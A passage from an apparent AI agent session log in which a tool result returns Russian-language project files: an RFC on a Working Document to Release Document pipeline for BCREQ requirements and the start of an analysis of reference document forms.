\"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:45:10.565Z] [STDOUT]     \"x-client-request-id\": \"0e5ba0f9-881c-4fdb-8b55-d7401a6493d2\",\n[2026-09-29T07:45:10.568Z] [STDOUT]     \"x-stainless-arch\": \"x64\",\n[2026-09-29T07:45:10.572Z] [STDOUT]     \"x-stainless-lang\": \"js\",\n[2026-09-29T07:45:10.574Z] [STDOUT]     \"x-stainless-os\": \"Linux\",\n[2026-09-29T07:45:10.578Z] [STDOUT]     \"x-stainless-package-version\": \"0.112.1\",\n[2026-09-29T07:45:10.582Z] [STDOUT]     \"x-stainless-retry-count\": \"0\",\n[2026-09-29T07:45:10.586Z] [STDOUT]     \"x-stainless-runtime\": \"node\",\n[2026-09-29T07:45:10.589Z] [STDOUT]     \"x-stainless-runtime-version\": \"v26.3.0\",\n[2026-09-29T07:45:10.595Z] [STDOUT]     \"x-stainless-timeout\": \"600\",\n[2026-09-29T07:45:10.599Z] [STDOUT]   },\n[2026-09-29T07:45:10.606Z] [STDOUT] }\n[2026-09-29T07:45:10.620Z] [INFO] {\n[2026-09-29T07:45:10.620Z] [INFO]   \"type\": \"user\",\n[2026-09-29T07:45:10.620Z] [INFO]   \"message\": {\n[2026-09-29T07:45:10.620Z] [INFO]     \"role\": \"user\",\n[2026-09-29T07:45:10.620Z] [INFO]     \"content\": [\n[2026-09-29T07:45:10.620Z] [INFO]       {\n[2026-09-29T07:45:10.620Z] [INFO]         \"tool_use_id\": \"toolu_012zEfTiAeCECsJU3MNXMuKU\",\n[2026-09-29T07:45:10.620Z] [INFO]         \"type\": \"tool_result\",\n[2026-09-29T07:45:10.620Z] [INFO]         \"content\": \"=== docs/rfc/2026-09-bcreq-working-release-pipeline.md\\n\\n# RFC: \u043a\u043e\u043d\u0432\u0435\u0439\u0435\u0440 Working Document \u2192 Release Document \u0434\u043b\u044f BCREQ\\n\\n## RFC Metadata\\n\\n| \u041f\u043e\u043b\u0435 | \u0417\u043d\u0430\u0447\u0435\u043d\u0438\u0435 |\\n| --- | --- |\\n| Owner | G-Ivan-A |\\n| RFC status | `accepted`; \u0440\u0435\u0448\u0435\u043d\u0438\u0435 \u0432\u043b\u0430\u0434\u0435\u043b\u044c\u0446\u0430 \u0437\u0430\u0444\u0438\u043a\u0441\u0438\u0440\u043e\u0432\u0430\u043d\u043e \u0432 [issue #609](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/issues/609) |\\n| Source issue | [#607](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/issues/607) |\\n| Implementation link | [PR #608](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/pull/608) |\\n| Evidence | \u0414\u0435\u0432\u044f\u0442\u044c \u0432\u043b\u043e\u0436\u0435\u043d\u0438\u0439 issue #607, \u043f\u0440\u043e\u0447\u0438\u0442\u0430\u043d\u043d\u044b\u0445 \u0442\u043e\u043b\u044c\u043a\u043e \u0432\u043e \u0432\u0440\u0435\u043c\u0435\u043d\u043d\u043e\u0439 \u0440\u0430\u0431\u043e\u0447\u0435\u0439 \u043e\u0431\u043b\u0430\u0441\u0442\u0438; \u0440\u0430\u043d\u0435\u0435 \u043f\u0440\u0438\u043d\u044f\u0442\u044b\u0435 \u0438\u0437\u043c\u0435\u043d\u0435\u043d\u0438\u044f [PR #602](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/pull/602), [PR #604](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/pull/604) \u0438 [PR #606](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/pull/606) |\\n| Impacted artifacts | \u0414\u043b\u044f \u0440\u0435\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u0438: BCREQ Source schema, skills, gates, compiler, release profiles \u0438 Distribution |\\n| Decision record | \u0412\u043b\u0430\u0434\u0435\u043b\u0435\u0446 \u043f\u0440\u0438\u043d\u044f\u043b \u043f\u044f\u0442\u044c \u043f\u0443\u043d\u043a\u0442\u043e\u0432 \u043a\u043e\u043d\u0432\u0435\u0439\u0435\u0440\u0430 \u0432 \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u043d\u043e\u043c \u043a [issue #609](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/issues/609) \u0434\u0438\u0430\u043b\u043e\u0433\u0435; \u0433\u0440\u0430\u043d\u0438\u0446\u044b \u0441\u043e\u043f\u043e\u0441\u0442\u0430\u0432\u043b\u0435\u043d\u044b \u0432 [\u0441\u043a\u0432\u043e\u0437\u043d\u043e\u0439 \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0435](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/analysis/2026-09-24-architecture-convergence-and-readiness.md) |\\n| Archetype scope | `C` \u2014 Product Spoke / Runtime |\\n\\n## Summary\\n\\n\u041d\u0435 \u043f\u043e\u0434\u0434\u0435\u0440\u0436\u0438\u0432\u0430\u044e\u0442\u0441\u044f \u0434\u0432\u0430 \u043d\u0435\u0437\u0430\u0432\u0438\u0441\u0438\u043c\u043e \u0440\u0435\u0434\u0430\u043a\u0442\u0438\u0440\u0443\u0435\u043c\u044b\u0445 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0430. BCREQ \u043f\u043e\u043b\u0443\u0447\u0430\u0435\u0442\\n\u043e\u0434\u0438\u043d \u0442\u0438\u043f\u0438\u0437\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0439 **Working Document** \u2014 \u0440\u0430\u0431\u043e\u0447\u0438\u0439 \u043f\u0430\u043a\u0435\u0442 \u0438\\n\u0435\u0434\u0438\u043d\u0441\u0442\u0432\u0435\u043d\u043d\u044b\u0439 \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a \u0441\u0435\u043c\u0430\u043d\u0442\u0438\u043a\u0438 \u2014 \u0438 \u043e\u0434\u0438\u043d \u0438\u043b\u0438 \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u043e **Release Document**,\\n\u0434\u0435\u0442\u0435\u0440\u043c\u0438\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e \u0441\u043a\u043e\u043c\u043f\u0438\u043b\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0445 \u0438\u0437 \u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0436\u0434\u0451\u043d\u043d\u043e\u0433\u043e baseline \u0434\u043b\u044f \u0437\u0430\u0434\u0430\u043d\u043d\u043e\u0439\\n\u0430\u0443\u0434\u0438\u0442\u043e\u0440\u0438\u0438.\\n\\n\u0420\u0430\u0431\u043e\u0447\u0438\u0439 \u043f\u0430\u043a\u0435\u0442 \u0445\u0440\u0430\u043d\u0438\u0442 evidence, User Story, scope, FR/NFR, UC, \u043c\u0430\u0442\u0440\u0438\u0446\u044b \u043f\u043e\u043a\u0440\u044b\u0442\u0438\u044f,\\n\u0432\u0430\u0440\u0438\u0430\u043d\u0442\u044b \u0440\u0435\u0448\u0435\u043d\u0438\u044f, \u0440\u0435\u0448\u0435\u043d\u0438\u044f \u0438 edge cases. Release \u0441\u043e\u0434\u0435\u0440\u0436\u0438\u0442 \u0442\u043e\u043b\u044c\u043a\u043e \u043e\u0434\u043e\u0431\u0440\u0435\u043d\u043d\u0443\u044e \u0438\\n\u0443\u043c\u0435\u0441\u0442\u043d\u0443\u044e \u0434\u043b\u044f \u043f\u043e\u043b\u0443\u0447\u0430\u0442\u0435\u043b\u044f \u043f\u0440\u043e\u0435\u043a\u0446\u0438\u044e. \u041a\u0430\u0436\u0434\u044b\u0439 NFR \u043e\u0431\u044f\u0437\u0430\u043d \u0441\u0441\u044b\u043b\u0430\u0442\u044c\u0441\u044f \u043d\u0430 \u043a\u043e\u043d\u043a\u0440\u0435\u0442\u043d\u044b\u0435 FR.\\n\u041f\u0440\u0438\u0437\u043d\u0430\u043a `requires_backward_compatibility` \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u044f\u0435\u0442\u0441\u044f \u0434\u043e FR \u0438 \u043f\u0440\u0438 \u043f\u043e\u043b\u043e\u0436\u0438\u0442\u0435\u043b\u044c\u043d\u043e\u043c\\n\u0437\u043d\u0430\u0447\u0435\u043d\u0438\u0438 \u043f\u043e\u0440\u043e\u0436\u0434\u0430\u0435\u0442 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u043c\u044b\u0435 \u043e\u0431\u044f\u0437\u0430\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u0430 \u0432 FR, \u0441\u0446\u0435\u043d\u0430\u0440\u0438\u044f\u0445, edge cases \u0438\\n\u0444\u0443\u043d\u043a\u0446\u0438\u043e\u043d\u0430\u043b\u044c\u043d\u043e\u043c \u0434\u0438\u0437\u0430\u0439\u043d\u0435. \u041a\u043e\u043c\u043f\u0438\u043b\u044f\u0446\u0438\u044f \u043d\u0435 \u0441\u043e\u0437\u0434\u0430\u0451\u0442 \u043d\u043e\u0432\u0443\u044e \u0441\u0435\u043c\u0430\u043d\u0442\u0438\u043a\u0443 \u0438 \u0441\u0430\u043c\u0430 \u043f\u0440\u043e\u0445\u043e\u0434\u0438\u0442\\n\u043e\u0442\u0434\u0435\u043b\u044c\u043d\u044b\u0439 `G-release`.\\n\\n\u0422\u0435\u0440\u043c\u0438\u043d\u044b Working/Release \u044f\u0432\u043b\u044f\u044e\u0442\u0441\u044f \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u044b\u043c \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u043e\u043d\u043d\u044b\u043c \u0440\u0435\u0448\u0435\u043d\u0438\u0435\u043c \u043f\u0440\u043e\u0435\u043a\u0442\u0430, \u0430 \u043d\u0435\\n\u0437\u0430\u044f\u0432\u043b\u0435\u043d\u0438\u0435\u043c, \u0447\u0442\u043e BABOK, IREB \u0438\u043b\u0438 TM Forum \u043f\u0440\u0435\u0434\u043f\u0438\u0441\u044b\u0432\u0430\u044e\u0442 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u044b \u0441 \u0442\u0430\u043a\u0438\u043c\u0438\\n\u043d\u0430\u0437\u0432\u0430\u043d\u0438\u044f\u043c\u0438.\\n\\n## Motivation\\n\\n\u0410\u043d\u0430\u043b\u0438\u0437 \u0432\u043b\u043e\u0436\u0435\u043d\u0438\u0439 issue #607 \u043f\u043e\u043a\u0430\u0437\u0430\u043b \u043f\u043e\u0432\u0442\u043e\u0440\u044f\u0435\u043c\u044b\u0439 \u0440\u0430\u0437\u0440\u044b\u0432 \u043c\u0435\u0436\u0434\u0443 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u043e\u043c\\n\u043f\u0440\u043e\u0435\u043a\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044f \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u0439 \u0438 \u043a\u043e\u043d\u0435\u0447\u043d\u044b\u043c \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u043e\u043c.\\n\\n| \u041d\u0430\u0431\u043b\u044e\u0434\u0435\u043d\u0438\u0435 | \u0420\u0438\u0441\u043a | \u0422\u0440\u0435\u0431\u0443\u0435\u043c\u043e\u0435 \u0441\u0432\u043e\u0439\u0441\u0442\u0432\u043e \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u0430 |\\n| --- | --- | --- |\\n| \u0412 \u0445\u043e\u0434\u0435 \u0434\u0438\u0430\u043b\u043e\u0433\u0430 \u0432\u0430\u0440\u0438\u0430\u043d\u0442\u044b, \u0432\u043e\u043f\u0440\u043e\u0441\u044b, UI-\u0434\u0435\u0442\u0430\u043b\u0438 \u0438 edge cases \u043d\u0443\u0436\u043d\u044b \u0434\u043b\u044f \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438, \u043d\u043e \u043f\u0435\u0440\u0435\u0433\u0440\u0443\u0436\u0430\u044e\u0442 \u0438\u0442\u043e\u0433\u043e\u0432\u044b\u0439 \u0442\u0435\u043a\u0441\u0442. | \u0415\u0441\u043b\u0438 \u0443\u0434\u0430\u043b\u0438\u0442\u044c \u0438\u0445 \u0440\u0430\u043d\u043e, \u0442\u0435\u0440\u044f\u0435\u0442\u0441\u044f \u043e\u0431\u043e\u0441\u043d\u043e\u0432\u0430\u043d\u0438\u0435; \u0435\u0441\u043b\u0438 \u043e\u0441\u0442\u0430\u0432\u0438\u0442\u044c \u0432\u0441\u0451, \u043a\u043b\u0438\u0435\u043d\u0442 \u043f\u043e\u043b\u0443\u0447\u0430\u0435\u0442 \u0438\u0441\u0442\u043e\u0440\u0438\u044e \u0440\u0430\u0431\u043e\u0442\u044b \u0432\u043c\u0435\u0441\u0442\u043e \u0441\u043e\u0433\u043b\u0430\u0441\u043e\u0432\u0430\u043d\u043d\u043e\u0433\u043e \u0440\u0435\u0448\u0435\u043d\u0438\u044f. | \u041f\u043e\u043b\u043d\u044b\u0439 Working baseline \u0438 \u0443\u043f\u0440\u0430\u0432\u043b\u044f\u0435\u043c\u0430\u044f Release-\u043f\u0440\u043e\u0435\u043a\u0446\u0438\u044f. |\\n| \u0420\u0430\u0437\u0434\u0435\u043b 2.3 \u00ab\u0417\u0430\u0434\u0430\u0447\u0438\u00bb \u0432 \u0440\u0430\u0437\u043e\u0431\u0440\u0430\u043d\u043d\u044b\u0445 \u043a\u0435\u0439\u0441\u0430\u0445 \u043f\u043e\u0432\u0442\u043e\u0440\u044f\u043b FR, \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u0438\u044f \u0438 \u0434\u0435\u0442\u0430\u043b\u0438 \u0440\u0435\u0448\u0435\u043d\u0438\u044f. | \u041e\u0434\u0438\u043d \u0441\u043c\u044b\u0441\u043b \u0440\u0435\u0434\u0430\u043a\u0442\u0438\u0440\u0443\u0435\u0442\u0441\u044f \u0432 \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u0438\u0445 \u043c\u0435\u0441\u0442\u0430\u0445 \u0438 \u0440\u0430\u0441\u0445\u043e\u0434\u0438\u0442\u0441\u044f. | \u0417\u0430\u043c\u0435\u043d\u0438\u0442\u044c \u043e\u0431\u044f\u0437\u0430\u0442\u0435\u043b\u044c\u043d\u044b\u0435 \u0437\u0430\u0434\u0430\u0447\u0438 \u044f\u0432\u043d\u043e\u0439 \u0433\u0440\u0430\u043d\u0438\u0446\u0435\u0439 \u0438\u0437\u043c\u0435\u043d\u0435\u043d\u0438\u044f; \u0437\u0430\u0434\u0430\u0447\u0438 \u0438\u0441\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044e \u043d\u0435 \u0432\u043a\u043b\u044e\u0447\u0430\u0442\u044c \u0432 \u0441\u0438\u0441\u0442\u0435\u043c\u043d\u044b\u0435 \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u044f. |\\n| NFR \u043f\u043e\u044f\u0432\u043b\u044f\u043b\u0438\u0441\u044c \u043a\u0430\u043a \u043e\u0442\u0434\u0435\u043b\u044c\u043d\u044b\u0435 \u043a\u0430\u0447\u0435\u0441\u0442\u0432\u0435\u043d\u043d\u044b\u0435 \u043f\u043e\u0436\u0435\u043b\u0430\u043d\u0438\u044f \u0438\u043b\u0438 \u043a\u0430\u043a \u043f\u0440\u043e\u0446\u0435\u043d\u0442\u044b, \u0434\u043e\u0431\u0430\u0432\u043b\u0435\u043d\u043d\u044b\u0435 \u043a \u0444\u0443\u043d\u043a\u0446\u0438\u043e\u043d\u0430\u043b\u044c\u043d\u043e\u043c\u0443 \u043f\u043e\u0432\u0435\u0434\u0435\u043d\u0438\u044e. | \u041a\u0430\u0447\u0435\u0441\u0442\u0432\u043e \u043d\u0435\u043b\u044c\u0437\u044f \u043f\u0440\u043e\u0441\u043b\u0435\u0434\u0438\u0442\u044c \u043a \u0444\u0443\u043d\u043a\u0446\u0438\u0438 \u0438\u043b\u0438 \u043f\u0440\u043e\u0432\u0435\u0440\u0438\u0442\u044c \u0431\u0435\u0437 \u0432\u044b\u0434\u0443\u043c\u0430\u043d\u043d\u043e\u0439 \u043c\u0435\u0442\u0440\u0438\u043a\u0438. | \u0422\u0438\u043f\u0438\u0437\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0439 NFR \u0441 \u044f\u0432\u043d\u044b\u043c `applies_to_fr` \u0438 \u0434\u043e\u043a\u0430\u0437\u0430\u043d\u043d\u044b\u043c target. |\\n| \u041e\u0431\u0440\u0430\u0442\u043d\u0430\u044f \u0441\u043e\u0432\u043c\u0435\u0441\u0442\u0438\u043c\u043e\u0441\u0442\u044c \u043e\u0431\u0441\u0443\u0436\u0434\u0430\u043b\u0430\u0441\u044c \u043f\u043e\u0441\u043b\u0435 \u0444\u043e\u0440\u043c\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044f \u0440\u0435\u0448\u0435\u043d\u0438\u044f. | \u041f\u043e\u0437\u0434\u043d\u0435\u0435 \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u0438\u0435 \u043c\u0435\u043d\u044f\u0435\u0442 FR, \u0441\u043e\u0441\u0442\u043e\u044f\u043d\u0438\u044f \u0438 \u043f\u0435\u0440\u0435\u0445\u043e\u0434\u043d\u044b\u0435 \u0441\u0446\u0435\u043d\u0430\u0440\u0438\u0438 \u0443\u0436\u0435 \u043f\u043e\u0441\u043b\u0435 \u0441\u043e\u0433\u043b\u0430\u0441\u043e\u0432\u0430\u043d\u0438\u044f. | \u0420\u0430\u043d\u043d\u0435\u0435 \u0440\u0435\u0448\u0435\u043d\u0438\u0435 \u043e \u0441\u043e\u0432\u043c\u0435\u0441\u0442\u0438\u043c\u043e\u0441\u0442\u0438 \u0438 \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u043d\u044b\u0435 \u043e\u0431\u044f\u0437\u0430\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u0430 \u043f\u043e \u0432\u0441\u0435\u0439 \u043c\u043e\u0434\u0435\u043b\u0438. |\\n| \u0414\u043e \u043f\u0440\u043e\u0432\u0435\u0440\u0435\u043d\u043d\u043e\u0433\u043e FR \u0433\u0435\u043d\u0435\u0440\u0438\u0440\u043e\u0432\u0430\u043b\u0438\u0441\u044c UC \u0438\u043b\u0438 \u0442\u0435\u0445\u043d\u0438\u0447\u0435\u0441\u043a\u0438\u0435 \u0440\u0435\u0448\u0435\u043d\u0438\u044f; \u0432 \u0434\u0440\u0443\u0433\u0438\u0445 \u0441\u043b\u0443\u0447\u0430\u044f\u0445 edge cases \u043e\u0441\u0442\u0430\u0432\u0430\u043b\u0438\u0441\u044c \u0431\u0435\u0437 \u0432\u043b\u0430\u0434\u0435\u043b\u044c\u0446\u0430. | \u0412\u043e\u0437\u043d\u0438\u043a\u0430\u044e\u0442 \u0444\u0438\u043a\u0442\u0438\u0432\u043d\u044b\u0435 \u0441\u043f\u043e\u0441\u043e\u0431\u043d\u043e\u0441\u0442\u0438, \u0434\u043e\u0434\u0443\u043c\u0430\u043d\u043d\u0430\u044f \u0430\u0440\u0445\u0438\u0442\u0435\u043a\u0442\u0443\u0440\u0430 \u0438\u043b\u0438 \u043d\u0435\u043f\u043e\u043b\u043d\u043e\u0435 \u043f\u043e\u043a\u0440\u044b\u0442\u0438\u0435. | \u041d\u0430\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u043d\u044b\u0439 trace-\u0433\u0440\u0430\u0444 \u0438 \u0433\u0435\u0439\u0442\u044b \u043c\u0435\u0436\u0434\u0443 \u0441\u0442\u0430\u0434\u0438\u044f\u043c\u0438. |\\n| \u0414\u0432\u0430 JSON-\u0432\u043b\u043e\u0436\u0435\u043d\u0438\u044f \u043e\u043a\u0430\u0437\u0430\u043b\u0438\u0441\u044c \u0431\u0430\u0439\u0442-\u0432-\u0431\u0430\u0439\u0442 \u0438\u0434\u0435\u043d\u0442\u0438\u0447\u043d\u044b\u043c\u0438. | \u041a\u043e\u043b\u0438\u0447\u0435\u0441\u0442\u0432\u043e \u0444\u0430\u0439\u043b\u043e\u0432 \u043e\u0448\u0438\u0431\u043e\u0447\u043d\u043e \u043f\u0440\u0438\u043d\u0438\u043c\u0430\u0435\u0442\u0441\u044f \u0437\u0430 \u043a\u043e\u043b\u0438\u0447\u0435\u0441\u0442\u0432\u043e \u043d\u0435\u0437\u0430\u0432\u0438\u0441\u0438\u043c\u044b\u0445 \u0441\u0432\u0438\u0434\u0435\u0442\u0435\u043b\u044c\u0441\u0442\u0432. | \u0414\u0435\u0434\u0443\u043f\u043b\u0438\u043a\u0430\u0446\u0438\u044f evidence \u043f\u043e checksum \u0434\u043e \u0430\u043d\u0430\u043b\u0438\u0437\u0430. |\\n\\n\u041f\u0440\u043e\u0432\u0435\u0440\u0435\u043d\u0430 \u0430\u043b\u044c\u0442\u0435\u0440\u043d\u0430\u0442\u0438\u0432\u043d\u0430\u044f \u0433\u0438\u043f\u043e\u0442\u0435\u0437\u0430 \u00ab\u0434\u043e\u0441\u0442\u0430\u0442\u043e\u0447\u043d\u043e \u0443\u043b\u0443\u0447\u0448\u0438\u0442\u044c \u0448\u0430\u0431\u043b\u043e\u043d \u043a\u043e\u043d\u0435\u0447\u043d\u043e\u0433\u043e\\n\u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0430\u00bb. \u041e\u043d\u0430 \u043e\u043f\u0440\u043e\u0432\u0435\u0440\u0433\u043d\u0443\u0442\u0430: \u0434\u0435\u0444\u0435\u043a\u0442\u044b \u0432\u043e\u0437\u043d\u0438\u043a\u0430\u043b\u0438 \u0434\u043e \u0440\u0435\u043d\u0434\u0435\u0440\u0438\u043d\u0433\u0430 \u2014 \u043f\u0440\u0438\\n\u043a\u043b\u0430\u0441\u0441\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438, \u0432\u044b\u0431\u043e\u0440\u0435 \u0432\u0430\u0440\u0438\u0430\u043d\u0442\u0430, \u0443\u0434\u0435\u0440\u0436\u0430\u043d\u0438\u0438 \u0441\u043e\u0441\u0442\u043e\u044f\u043d\u0438\u044f \u0441\u043e\u0433\u043b\u0430\u0441\u043e\u0432\u0430\u043d\u0438\u044f \u0438 \u043f\u043e\u0441\u0442\u0440\u043e\u0435\u043d\u0438\u0438\\ntrace. \u0421\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u044c\u043d\u043e, \u043d\u0443\u0436\u0435\u043d \u0436\u0438\u0437\u043d\u0435\u043d\u043d\u044b\u0439 \u0446\u0438\u043a\u043b \u043c\u043e\u0434\u0435\u043b\u0438, \u0430 \u043d\u0435 \u0442\u043e\u043b\u044c\u043a\u043e \u043d\u043e\u0432\u044b\u0439 \u0448\u0430\u0431\u043b\u043e\u043d.\\n\\n\u0412\u043b\u043e\u0436\u0435\u043d\u0438\u044f \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u044b \u043a\u0430\u043a \u043a\u043e\u043d\u0442\u0435\u043a\u0441\u0442 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u0430, \u0430 \u043d\u0435 \u043a\u0430\u043a \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432\u044b\u0445\\n\u0444\u0430\u043a\u0442\u043e\u0432. \u0418\u0441\u0445\u043e\u0434\u043d\u044b\u0435 JSON/TXT \u0438 \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u043d\u044b\u0435 \u0440\u0430\u0441\u0448\u0438\u0444\u0440\u043e\u0432\u043a\u0438 \u043d\u0435 \u0432\u0445\u043e\u0434\u044f\u0442 \u0432 \u0440\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u0438\u0439 \u0438\\n\u043f\u043e\u0434\u043b\u0435\u0436\u0430\u0442 \u0443\u0434\u0430\u043b\u0435\u043d\u0438\u044e \u043f\u043e\u0441\u043b\u0435 \u0430\u043d\u0430\u043b\u0438\u0437\u0430.\\n\\n## Goals and Non-goals\\n\\n### Goals\\n\\n- \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u0438\u0442\u044c \u0440\u043e\u043b\u0438 Working Document \u0438 Release Document \u0431\u0435\u0437 \u0434\u0432\u0443\u0445 \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u043e\u0432\\n  \u0438\u0441\u0442\u0438\u043d\u044b;\\n- \u0437\u0430\u0444\u0438\u043a\u0441\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u0441\u0442\u0430\u0434\u0438\u0438, \u043f\u0435\u0440\u0435\u0445\u043e\u0434\u044b, \u0432\u043b\u0430\u0434\u0435\u043b\u044c\u0446\u0435\u0432 \u0440\u0435\u0448\u0435\u043d\u0438\u0439 \u0438 \u043c\u0430\u0448\u0438\u043d\u043d\u044b\u0435/\u0447\u0435\u043b\u043e\u0432\u0435\u0447\u0435\u0441\u043a\u0438\u0435\\n  \u0433\u0435\u0439\u0442\u044b;\\n- \u0440\u0435\u0448\u0438\u0442\u044c \u0441\u0443\u0434\u044c\u0431\u0443 \u0440\u0430\u0437\u0434\u0435\u043b\u0430 2.3;\\n- \u043e\u0431\u0435\u0441\u043f\u0435\u0447\u0438\u0442\u044c \u0442\u0440\u0430\u0441\u0441\u0438\u0440\u043e\u0432\u043a\u0443 \u043a\u0430\u0436\u0434\u043e\u0433\u043e NFR \u043a \u043e\u0434\u043d\u043e\u043c\u0443 \u0438\u043b\u0438 \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u0438\u043c FR;\\n- \u0441\u0434\u0435\u043b\u0430\u0442\u044c \u043e\u0431\u0440\u0430\u0442\u043d\u0443\u044e \u0441\u043e\u0432\u043c\u0435\u0441\u0442\u0438\u043c\u043e\u0441\u0442\u044c \u0440\u0430\u043d\u043d\u0438\u043c \u0434\u0440\u0430\u0439\u0432\u0435\u0440\u043e\u043c FR, UC, edge cases \u0438 \u0434\u0438\u0437\u0430\u0439\u043d\u0430;\\n=== docs/analysis/2026-09-23-bcreq-golden-forms-and-feasibility.md\\n\\n# \u042d\u0442\u0430\u043b\u043e\u043d\u043d\u044b\u0435 \u0444\u043e\u0440\u043c\u044b BCREQ \u0438 \u0440\u0435\u0430\u043b\u0438\u0437\u0443\u0435\u043c\u043e\u0441\u0442\u044c \u0432 RG-BCREQ-v1\\n\\n## \u0420\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\\n\\n\u0415\u0434\u0438\u043d\u0430\u044f \u0441\u0435\u043c\u0430\u043d\u0442\u0438\u0447\u0435\u0441\u043a\u0430\u044f \u0444\u043e\u0440\u043c\u0430 BCREQ \u0438\u0437 \u0441\u0435\u043c\u0438 \u0440\u0430\u0437\u0434\u0435\u043b\u043e\u0432 \u043f\u0440\u0438\u043c\u0435\u043d\u0438\u043c\u0430 \u043a API, \u041b\u0438\u0447\u043d\u043e\u043c\u0443\\n\u043a\u0430\u0431\u0438\u043d\u0435\u0442\u0443 \u0438 \u041a\u043e\u043d\u0442\u0430\u043a\u0442-\u0446\u0435\u043d\u0442\u0440\u0443. \u041e\u0442\u043b\u0438\u0447\u0430\u0435\u0442\u0441\u044f \u043d\u0435 \u0432\u0435\u0440\u0445\u043d\u0438\u0439 \u0441\u043a\u0435\u043b\u0435\u0442, \u0430 \u0440\u0430\u0441\u043a\u0440\u044b\u0442\u0438\u0435 \u0440\u0430\u0437\u0434\u0435\u043b\u043e\u0432 4\\n\u0438 7. \u0420\u0430\u0437\u0434\u0435\u043b 3 \u0432\u043e \u0432\u0441\u0435\u0445 \u0442\u0440\u0451\u0445 \u0441\u043b\u0443\u0447\u0430\u044f\u0445 \u0441\u043e\u0434\u0435\u0440\u0436\u0438\u0442 \u0442\u043e\u043b\u044c\u043a\u043e \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u043e \u043e\u0431\u044f\u0437\u0430\u0442\u0435\u043b\u044c\u0441\u0442\u0432\\n\u0441\u0438\u0441\u0442\u0435\u043c\u044b \u0432\u0435\u0440\u0445\u043d\u0435\u0433\u043e \u0443\u0440\u043e\u0432\u043d\u044f; \u043f\u043e\u043b\u044f, \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u044f, \u0441\u043e\u0441\u0442\u043e\u044f\u043d\u0438\u044f, \u044d\u043a\u0440\u0430\u043d\u044b, \u043c\u0435\u0442\u043e\u0434\u044b, \u043e\u0448\u0438\u0431\u043a\u0438 \u0438\\n\u0432\u0430\u0440\u0438\u0430\u043d\u0442\u044b \u043f\u043e\u0432\u0435\u0434\u0435\u043d\u0438\u044f \u0440\u0430\u0441\u043a\u0440\u044b\u0432\u0430\u044e\u0442\u0441\u044f \u0447\u0435\u0440\u0435\u0437 \u0441\u0446\u0435\u043d\u0430\u0440\u0438\u0438 \u0438 \u0442\u0435\u0445\u043d\u0438\u0447\u0435\u0441\u043a\u0443\u044e \u0441\u043f\u0435\u0446\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u044e.\\n\\n\u0422\u0435\u043a\u0443\u0449\u0438\u0439 \u043f\u0430\u043a\u0435\u0442 \u0438\u0441\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f\\n[`execution-package-gigacode-cli`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/tree/main/projects/ba-ai-process/dist/execution-package-gigacode-cli)\\n\u043c\u043e\u0436\u0435\u0442 **\u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u0438\u0442\u044c** \u0442\u0430\u043a\u043e\u0439 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442 \u0441\u0432\u043e\u0438\u043c\u0438 14 \u0441\u043b\u043e\u0442\u0430\u043c\u0438, \u043d\u043e \u043d\u0435 